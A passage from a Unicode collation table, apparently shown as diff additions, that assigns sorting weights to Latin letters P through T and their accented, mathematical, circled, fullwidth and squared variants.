+1E54  ; [.1E0C.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER P WITH ACUTE
+1E57  ; [.1E0C.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER P WITH DOT ABOVE
+1E56  ; [.1E0C.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER P WITH DOT ABOVE
+3380  ; [.1E0C.0020.001C][.1C47.0020.001D] # SQUARE PA AMPS
+33A9  ; [.1E0C.0020.001D][.1C47.0020.001C] # SQUARE PA
+1F18C ; [.1E0C.0020.001D][.1C47.0020.001D] # NEGATIVE SQUARED PA
+3376  ; [.1E0C.0020.001C][.1C7A.0020.001C] # SQUARE PC
+338A  ; [.1E0C.0020.001C][.1CE5.0020.001D] # SQUARE PF
+33D7  ; [.1E0C.0020.001D][.1D18.0020.001D] # SQUARE PH
+33D8  ; [.1E0C.0020.001C][*0277.0020.001C][.1DAA.0020.001C][*0277.0020.001C] # SQUARE PM
+33D9  ; [.1E0C.0020.001D][.1E0C.0020.001D][.1DAA.0020.001D] # SQUARE PPM
+1F14E ; [.1E0C.0020.001D][.1E0C.0020.001D][.1EE3.0020.001D] # SQUARED PPV
+33DA  ; [.1E0C.0020.001D][.1E33.0020.001D] # SQUARE PR
+33B0  ; [.1E0C.0020.001C][.1E71.0020.001C] # SQUARE PS
+3250  ; [.1E0C.0020.001D][.1E95.0020.001D][.1CAA.0020.001D] # PARTNERSHIP SIGN
+33B4  ; [.1E0C.0020.001C][.1EE3.0020.001D] # SQUARE PV
+33BA  ; [.1E0C.0020.001C][.1EF5.0020.001D] # SQUARE PW
+1D18  ; [.1E10.0020.0002] # LATIN LETTER SMALL CAPITAL P
+1D7D  ; [.1E11.0020.0002] # LATIN SMALL LETTER P WITH STROKE
+2C63  ; [.1E11.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE
+A751  ; [.1E12.0020.0002] # LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER
+A750  ; [.1E12.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER
+1D71  ; [.1E13.0020.0002] # LATIN SMALL LETTER P WITH MIDDLE TILDE
+1D88  ; [.1E14.0020.0002] # LATIN SMALL LETTER P WITH PALATAL HOOK
+01A5  ; [.1E15.0020.0002] # LATIN SMALL LETTER P WITH HOOK
+01A4  ; [.1E15.0020.0008] # LATIN CAPITAL LETTER P WITH HOOK
+A753  ; [.1E19.0020.0002] # LATIN SMALL LETTER P WITH FLOURISH
+A752  ; [.1E19.0020.0008] # LATIN CAPITAL LETTER P WITH FLOURISH
+A755  ; [.1E1A.0020.0002] # LATIN SMALL LETTER P WITH SQUIRREL TAIL
+A754  ; [.1E1A.0020.0008] # LATIN CAPITAL LETTER P WITH SQUIRREL TAIL
+A7FC  ; [.1E1B.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED P
+0278  ; [.1E1C.0020.0002] # LATIN SMALL LETTER PHI
+1DB2  ; [.1E1C.0020.0014] # MODIFIER LETTER SMALL PHI
+2C77  ; [.1E20.0020.0002] # LATIN SMALL LETTER TAILLESS PHI
+0071  ; [.1E21.0020.0002] # LATIN SMALL LETTER Q
+FF51  ; [.1E21.0020.0003] # FULLWIDTH LATIN SMALL LETTER Q
+24AC  ; [*0317.0020.0004][.1E21.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Q
+1D42A ; [.1E21.0020.0005] # MATHEMATICAL BOLD SMALL Q
+1D45E ; [.1E21.0020.0005] # MATHEMATICAL ITALIC SMALL Q
+1D492 ; [.1E21.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Q
+1D4C6 ; [.1E21.0020.0005] # MATHEMATICAL SCRIPT SMALL Q
+1D4FA ; [.1E21.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Q
+1D52E ; [.1E21.0020.0005] # MATHEMATICAL FRAKTUR SMALL Q
+1D562 ; [.1E21.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Q
+1D596 ; [.1E21.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Q
+1D5CA ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Q
+1D5FE ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Q
+1D632 ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Q
+1D666 ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Q
+1D69A ; [.1E21.0020.0005] # MATHEMATICAL MONOSPACE SMALL Q
+24E0  ; [.1E21.0020.0006] # CIRCLED LATIN SMALL LETTER Q
+0051  ; [.1E21.0020.0008] # LATIN CAPITAL LETTER Q
+FF31  ; [.1E21.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Q
+1F120 ; [*0317.0020.0004][.1E21.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Q
+211A  ; [.1E21.0020.000B] # DOUBLE-STRUCK CAPITAL Q
+1D410 ; [.1E21.0020.000B] # MATHEMATICAL BOLD CAPITAL Q
+1D444 ; [.1E21.0020.000B] # MATHEMATICAL ITALIC CAPITAL Q
+1D478 ; [.1E21.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Q
+1D4AC ; [.1E21.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Q
+1D4E0 ; [.1E21.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Q
+1D514 ; [.1E21.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Q
+1D57C ; [.1E21.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Q
+1D5B0 ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Q
+1D5E4 ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Q
+1D618 ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Q
+1D64C ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Q
+1D680 ; [.1E21.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Q
+24C6  ; [.1E21.0020.000C] # CIRCLED LATIN CAPITAL LETTER Q
+1F160 ; [.1E21.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Q
+1F140 ; [.1E21.0020.001D] # SQUARED LATIN CAPITAL LETTER Q
+1F180 ; [.1E21.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Q
+0239  ; [.1E21.0020.0004][.1E0C.0020.0004] # LATIN SMALL LETTER QP DIGRAPH
+A757  ; [.1E25.0020.0002] # LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER
+A756  ; [.1E25.0020.0008] # LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER
+A759  ; [.1E26.0020.0002] # LATIN SMALL LETTER Q WITH DIAGONAL STROKE
+A758  ; [.1E26.0020.0008] # LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE
+02A0  ; [.1E27.0020.0002] # LATIN SMALL LETTER Q WITH HOOK
+024B  ; [.1E2B.0020.0002] # LATIN SMALL LETTER Q WITH HOOK TAIL
+024A  ; [.1E2B.0020.0008] # LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL
+0138  ; [.1E2F.0020.0002] # LATIN SMALL LETTER KRA
+0072  ; [.1E33.0020.0002] # LATIN SMALL LETTER R
+FF52  ; [.1E33.0020.0003] # FULLWIDTH LATIN SMALL LETTER R
+036C  ; [.1E33.0020.0004] # COMBINING LATIN SMALL LETTER R
+1DCA  ; [.1E33.0020.0004] # COMBINING LATIN SMALL LETTER R BELOW
+24AD  ; [*0317.0020.0004][.1E33.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER R
+1D42B ; [.1E33.0020.0005] # MATHEMATICAL BOLD SMALL R
+1D45F ; [.1E33.0020.0005] # MATHEMATICAL ITALIC SMALL R
+1D493 ; [.1E33.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL R
+1D4C7 ; [.1E33.0020.0005] # MATHEMATICAL SCRIPT SMALL R
+1D4FB ; [.1E33.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL R
+1D52F ; [.1E33.0020.0005] # MATHEMATICAL FRAKTUR SMALL R
+1D563 ; [.1E33.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL R
+1D597 ; [.1E33.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL R
+1D5CB ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF SMALL R
+1D5FF ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL R
+1D633 ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL R
+1D667 ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL R
+1D69B ; [.1E33.0020.0005] # MATHEMATICAL MONOSPACE SMALL R
+24E1  ; [.1E33.0020.0006] # CIRCLED LATIN SMALL LETTER R
+0052  ; [.1E33.0020.0008] # LATIN CAPITAL LETTER R
+FF32  ; [.1E33.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER R
+1F121 ; [*0317.0020.0004][.1E33.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER R
+211B  ; [.1E33.0020.000B] # SCRIPT CAPITAL R
+211C  ; [.1E33.0020.000B] # BLACK-LETTER CAPITAL R
+211D  ; [.1E33.0020.000B] # DOUBLE-STRUCK CAPITAL R
+1D411 ; [.1E33.0020.000B] # MATHEMATICAL BOLD CAPITAL R
+1D445 ; [.1E33.0020.000B] # MATHEMATICAL ITALIC CAPITAL R
+1D479 ; [.1E33.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL R
+1D4E1 ; [.1E33.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL R
+1D57D ; [.1E33.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL R
+1D5B1 ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL R
+1D5E5 ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL R
+1D619 ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL R
+1D64D ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL R
+1D681 ; [.1E33.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL R
+24C7  ; [.1E33.0020.000C] # CIRCLED LATIN CAPITAL LETTER R
+1F12C ; [.1E33.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER R
+1F161 ; [.1E33.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER R
+02B3  ; [.1E33.0020.0014] # MODIFIER LETTER SMALL R
+1D63  ; [.1E33.0020.0015] # LATIN SUBSCRIPT SMALL LETTER R
+1D3F  ; [.1E33.0020.001D] # MODIFIER LETTER CAPITAL R
+1F141 ; [.1E33.0020.001D] # SQUARED LATIN CAPITAL LETTER R
+1F181 ; [.1E33.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER R
+0155  ; [.1E33.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER R WITH ACUTE
+0154  ; [.1E33.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER R WITH ACUTE
+0159  ; [.1E33.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER R WITH CARON
+0158  ; [.1E33.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER R WITH CARON
+1E59  ; [.1E33.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER R WITH DOT ABOVE
+1E58  ; [.1E33.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER R WITH DOT ABOVE
+0157  ; [.1E33.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER R WITH CEDILLA
+0156  ; [.1E33.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER R WITH CEDILLA
+A7A7  ; [.1E33.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER R WITH OBLIQUE STROKE
+A7A6  ; [.1E33.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER R WITH OBLIQUE STROKE
+0211  ; [.1E33.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER R WITH DOUBLE GRAVE
+0210  ; [.1E33.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER R WITH DOUBLE GRAVE
+0213  ; [.1E33.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER R WITH INVERTED BREVE
+0212  ; [.1E33.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER R WITH INVERTED BREVE
+1E5B  ; [.1E33.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER R WITH DOT BELOW
+1E5A  ; [.1E33.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW
+1E5D  ; [.1E33.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER R WITH DOT BELOW AND MACRON
+1E5C  ; [.1E33.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON
+1E5F  ; [.1E33.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER R WITH LINE BELOW
+1E5E  ; [.1E33.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER R WITH LINE BELOW
+A783  ; [.1E33.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR R
+A782  ; [.1E33.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR R
+33AD  ; [.1E33.0020.001C][.1C47.0020.001C][.1C8F.0020.001C] # SQUARE RAD
+33AE  ; [.1E33.0020.001C][.1C47.0020.001C][.1C8F.0020.001C][*0625.0020.001C][.1E71.0020.001C] # SQUARE RAD OVER S
+33AF  ; [.1E33.0020.001C][.1C47.0020.001C][.1C8F.0020.001C][*0625.0020.001C][.1E71.0020.001C][.1C3F.0020.001C] # SQUARE RAD OVER S SQUARED
+20A8  ; [.1E33.0020.000A][.1E71.0020.0004] # RUPEE SIGN
+AB45  ; [.1E37.0020.0002] # LATIN SMALL LETTER STIRRUP R
+0280  ; [.1E38.0020.0002] # LATIN LETTER SMALL CAPITAL R
+1DE2  ; [.1E38.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL R
+01A6  ; [.1E38.0020.0008] # LATIN LETTER YR
+AB46  ; [.1E3C.0020.0002] # LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG
+A75B  ; [.1E3D.0020.0002] # LATIN SMALL LETTER R ROTUNDA
+1DE3  ; [.1E3D.0020.0004] # COMBINING LATIN SMALL LETTER R ROTUNDA
+A75A  ; [.1E3D.0020.0008] # LATIN CAPITAL LETTER R ROTUNDA
+1D19  ; [.1E3E.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED R
+024D  ; [.1E3F.0020.0002] # LATIN SMALL LETTER R WITH STROKE
+024C  ; [.1E3F.0020.0008] # LATIN CAPITAL LETTER R WITH STROKE
+1D72  ; [.1E43.0020.0002] # LATIN SMALL LETTER R WITH MIDDLE TILDE
+0279  ; [.1E44.0020.0002] # LATIN SMALL LETTER TURNED R
+02B4  ; [.1E44.0020.0014] # MODIFIER LETTER SMALL TURNED R
+1D1A  ; [.1E48.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED R
+027A  ; [.1E49.0020.0002] # LATIN SMALL LETTER TURNED R WITH LONG LEG
+1D89  ; [.1E4D.0020.0002] # LATIN SMALL LETTER R WITH PALATAL HOOK
+027B  ; [.1E4E.0020.0002] # LATIN SMALL LETTER TURNED R WITH HOOK
+02B5  ; [.1E4E.0020.0014] # MODIFIER LETTER SMALL TURNED R WITH HOOK
+2C79  ; [.1E52.0020.0002] # LATIN SMALL LETTER TURNED R WITH TAIL
+027C  ; [.1E53.0020.0002] # LATIN SMALL LETTER R WITH LONG LEG
+027D  ; [.1E57.0020.0002] # LATIN SMALL LETTER R WITH TAIL
+2C64  ; [.1E57.0020.0008] # LATIN CAPITAL LETTER R WITH TAIL
+AB49  ; [.1E5B.0020.0002] # LATIN SMALL LETTER R WITH CROSSED-TAIL
+027E  ; [.1E5C.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK
+1D73  ; [.1E60.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE
+027F  ; [.1E61.0020.0002] # LATIN SMALL LETTER REVERSED R WITH FISHHOOK
+AB47  ; [.1E65.0020.0002] # LATIN SMALL LETTER R WITHOUT HANDLE
+AB48  ; [.1E66.0020.0002] # LATIN SMALL LETTER DOUBLE R
+AB4A  ; [.1E67.0020.0002] # LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL
+AB4B  ; [.1E68.0020.0002] # LATIN SMALL LETTER SCRIPT R
+AB4C  ; [.1E69.0020.0002] # LATIN SMALL LETTER SCRIPT R WITH RING
+0281  ; [.1E6A.0020.0002] # LATIN LETTER SMALL CAPITAL INVERTED R
+02B6  ; [.1E6A.0020.0014] # MODIFIER LETTER SMALL CAPITAL INVERTED R
+A775  ; [.1E6E.0020.0002] # LATIN SMALL LETTER RUM
+A776  ; [.1E6F.0020.0002] # LATIN LETTER SMALL CAPITAL RUM
+A75D  ; [.1E70.0020.0002] # LATIN SMALL LETTER RUM ROTUNDA
+A75C  ; [.1E70.0020.0008] # LATIN CAPITAL LETTER RUM ROTUNDA
+0073  ; [.1E71.0020.0002] # LATIN SMALL LETTER S
+FF53  ; [.1E71.0020.0003] # FULLWIDTH LATIN SMALL LETTER S
+1DE4  ; [.1E71.0020.0004] # COMBINING LATIN SMALL LETTER S
+24AE  ; [*0317.0020.0004][.1E71.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER S
+1D42C ; [.1E71.0020.0005] # MATHEMATICAL BOLD SMALL S
+1D460 ; [.1E71.0020.0005] # MATHEMATICAL ITALIC SMALL S
+1D494 ; [.1E71.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL S
+1D4C8 ; [.1E71.0020.0005] # MATHEMATICAL SCRIPT SMALL S
+1D4FC ; [.1E71.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL S
+1D530 ; [.1E71.0020.0005] # MATHEMATICAL FRAKTUR SMALL S
+1D564 ; [.1E71.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL S
+1D598 ; [.1E71.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL S
+1D5CC ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF SMALL S
+1D600 ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL S
+1D634 ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL S
+1D668 ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL S
+1D69C ; [.1E71.0020.0005] # MATHEMATICAL MONOSPACE SMALL S
+24E2  ; [.1E71.0020.0006] # CIRCLED LATIN SMALL LETTER S
+0053  ; [.1E71.0020.0008] # LATIN CAPITAL LETTER S
+FF33  ; [.1E71.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER S
+1F122 ; [*0317.0020.0004][.1E71.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER S
+1F12A ; [*0379.0020.0004][.1E71.0020.000A][*037A.0020.0004] # TORTOISE SHELL BRACKETED LATIN CAPITAL LETTER S
+1D412 ; [.1E71.0020.000B] # MATHEMATICAL BOLD CAPITAL S
+1D446 ; [.1E71.0020.000B] # MATHEMATICAL ITALIC CAPITAL S
+1D47A ; [.1E71.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL S
+1D4AE ; [.1E71.0020.000B] # MATHEMATICAL SCRIPT CAPITAL S
+1D4E2 ; [.1E71.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL S
+1D516 ; [.1E71.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL S
+1D54A ; [.1E71.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL S
+1D57E ; [.1E71.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL S
+1D5B2 ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL S
+1D5E6 ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL S
+1D61A ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL S
+1D64E ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL S
+1D682 ; [.1E71.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL S
+24C8  ; [.1E71.0020.000C] # CIRCLED LATIN CAPITAL LETTER S
+1F162 ; [.1E71.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER S
+02E2  ; [.1E71.0020.0014] # MODIFIER LETTER SMALL S
+209B  ; [.1E71.0020.0015] # LATIN SUBSCRIPT SMALL LETTER S
+1F142 ; [.1E71.0020.001D] # SQUARED LATIN CAPITAL LETTER S
+1F182 ; [.1E71.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER S
+015B  ; [.1E71.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER S WITH ACUTE
+015A  ; [.1E71.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER S WITH ACUTE
+1E65  ; [.1E71.0020.0002][.0000.0024.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE
+1E64  ; [.1E71.0020.0008][.0000.0024.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE
+015D  ; [.1E71.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX
+015C  ; [.1E71.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX
+0161  ; [.1E71.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER S WITH CARON
+0160  ; [.1E71.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER S WITH CARON
+1E67  ; [.1E71.0020.0002][.0000.0028.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH CARON AND DOT ABOVE
+1E66  ; [.1E71.0020.0008][.0000.0028.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE
+1E61  ; [.1E71.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT ABOVE
+1E60  ; [.1E71.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT ABOVE
+015F  ; [.1E71.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER S WITH CEDILLA
+015E  ; [.1E71.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER S WITH CEDILLA
+A7A9  ; [.1E71.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER S WITH OBLIQUE STROKE
+A7A8  ; [.1E71.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER S WITH OBLIQUE STROKE
+1E63  ; [.1E71.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER S WITH DOT BELOW
+1E62  ; [.1E71.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW
+1E69  ; [.1E71.0020.0002][.0000.0042.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+1E68  ; [.1E71.0020.0008][.0000.0042.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE
+0219  ; [.1E71.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER S WITH COMMA BELOW
+0218  ; [.1E71.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER S WITH COMMA BELOW
+017F  ; [.1E71.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER LONG S
+1DE5  ; [.1E71.0020.0004][.0000.0111.0004] # COMBINING LATIN SMALL LETTER LONG S
+A785  ; [.1E71.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR S
+A784  ; [.1E71.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR S
+1E9B  ; [.1E71.0020.0004][.0000.0111.0004][.0000.002E.0002] # LATIN SMALL LETTER LONG S WITH DOT ABOVE
+1F18D ; [.1E71.0020.001D][.1C47.0020.001D] # NEGATIVE SQUARED SA
+1F14C ; [.1E71.0020.001D][.1C8F.0020.001D] # SQUARED SD
+1F1AA ; [.1E71.0020.001D][.1D18.0020.001D][.1EE3.0020.001D] # SQUARED SHV
+2120  ; [.1E71.0020.0014][.1DAA.0020.0014] # SERVICE MARK
+1F198 ; [.1E71.0020.001D][.1DDD.0020.001D][.1E71.0020.001D] # SQUARED SOS
+33DB  ; [.1E71.0020.001C][.1E33.0020.001C] # SQUARE SR
+1F14D ; [.1E71.0020.001D][.1E71.0020.001D] # SQUARED SS
+00DF  ; [.1E71.0020.0004][.0000.0110.0004][.1E71.0020.0004] # LATIN SMALL LETTER SHARP S
+1E9E  ; [.1E71.0020.000A][.0000.0110.0004][.1E71.0020.000A] # LATIN CAPITAL LETTER SHARP S
+FB06  ; [.1E71.0020.0004][.1E95.0020.0004] # LATIN SMALL LIGATURE ST
+FB05  ; [.1E71.0020.0004][.0000.0111.0004][.1E95.0020.0004] # LATIN SMALL LIGATURE LONG S T
+33DC  ; [.1E71.0020.001D][.1EE3.0020.001C] # SQUARE SV
+A731  ; [.1E75.0020.0002] # LATIN LETTER SMALL CAPITAL S
+1D74  ; [.1E76.0020.0002] # LATIN SMALL LETTER S WITH MIDDLE TILDE
+1D8A  ; [.1E77.0020.0002] # LATIN SMALL LETTER S WITH PALATAL HOOK
+0282  ; [.1E78.0020.0002] # LATIN SMALL LETTER S WITH HOOK
+1DB3  ; [.1E78.0020.0014] # MODIFIER LETTER SMALL S WITH HOOK
+023F  ; [.1E7C.0020.0002] # LATIN SMALL LETTER S WITH SWASH TAIL
+2C7E  ; [.1E7C.0020.0008] # LATIN CAPITAL LETTER S WITH SWASH TAIL
+1E9C  ; [.1E80.0020.0002] # LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE
+1E9D  ; [.1E81.0020.0002] # LATIN SMALL LETTER LONG S WITH HIGH STROKE
+0283  ; [.1E82.0020.0002] # LATIN SMALL LETTER ESH
+1DEF  ; [.1E82.0020.0004] # COMBINING LATIN SMALL LETTER ESH
+01A9  ; [.1E82.0020.0008] # LATIN CAPITAL LETTER ESH
+1DB4  ; [.1E82.0020.0014] # MODIFIER LETTER SMALL ESH
+AB4D  ; [.1E86.0020.0002] # LATIN SMALL LETTER BASELINE ESH
+1D8B  ; [.1E87.0020.0002] # LATIN SMALL LETTER ESH WITH PALATAL HOOK
+01AA  ; [.1E88.0020.0002] # LATIN LETTER REVERSED ESH LOOP
+0285  ; [.1E8C.0020.0002] # LATIN SMALL LETTER SQUAT REVERSED ESH
+1D98  ; [.1E90.0020.0002] # LATIN SMALL LETTER ESH WITH RETROFLEX HOOK
+0286  ; [.1E91.0020.0002] # LATIN SMALL LETTER ESH WITH CURL
+0074  ; [.1E95.0020.0002] # LATIN SMALL LETTER T
+FF54  ; [.1E95.0020.0003] # FULLWIDTH LATIN SMALL LETTER T
+036D  ; [.1E95.0020.0004] # COMBINING LATIN SMALL LETTER T
+24AF  ; [*0317.0020.0004][.1E95.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER T
+1D42D ; [.1E95.0020.0005] # MATHEMATICAL BOLD SMALL T
+1D461 ; [.1E95.0020.0005] # MATHEMATICAL ITALIC SMALL T
+1D495 ; [.1E95.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL T
+1D4C9 ; [.1E95.0020.0005] # MATHEMATICAL SCRIPT SMALL T
+1D4FD ; [.1E95.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL T
+1D531 ; [.1E95.0020.0005] # MATHEMATICAL FRAKTUR SMALL T
+1D565 ; [.1E95.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL T
+1D599 ; [.1E95.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL T
+1D5CD ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF SMALL T
+1D601 ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL T
+1D635 ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL T
+1D669 ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL T
+1D69D ; [.1E95.0020.0005] # MATHEMATICAL MONOSPACE SMALL T
+24E3  ; [.1E95.0020.0006] # CIRCLED LATIN SMALL LETTER T
+0054  ; [.1E95.0020.0008] # LATIN CAPITAL LETTER T
+FF34  ; [.1E95.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER T
+1F123 ; [*0317.0020.0004][.1E95.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER T
+1D413 ; [.1E95.0020.000B] # MATHEMATICAL BOLD CAPITAL T
+1D447 ; [.1E95.0020.000B] # MATHEMATICAL ITALIC CAPITAL T
+1D47B ; [.1E95.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL T
+1D4AF ; [.1E95.0020.000B] # MATHEMATICAL SCRIPT CAPITAL T
+1D4E3 ; [.1E95.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL T
+1D517 ; [.1E95.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL T
+1D54B ; [.1E95.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL T
+1D57F ; [.1E95.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL T
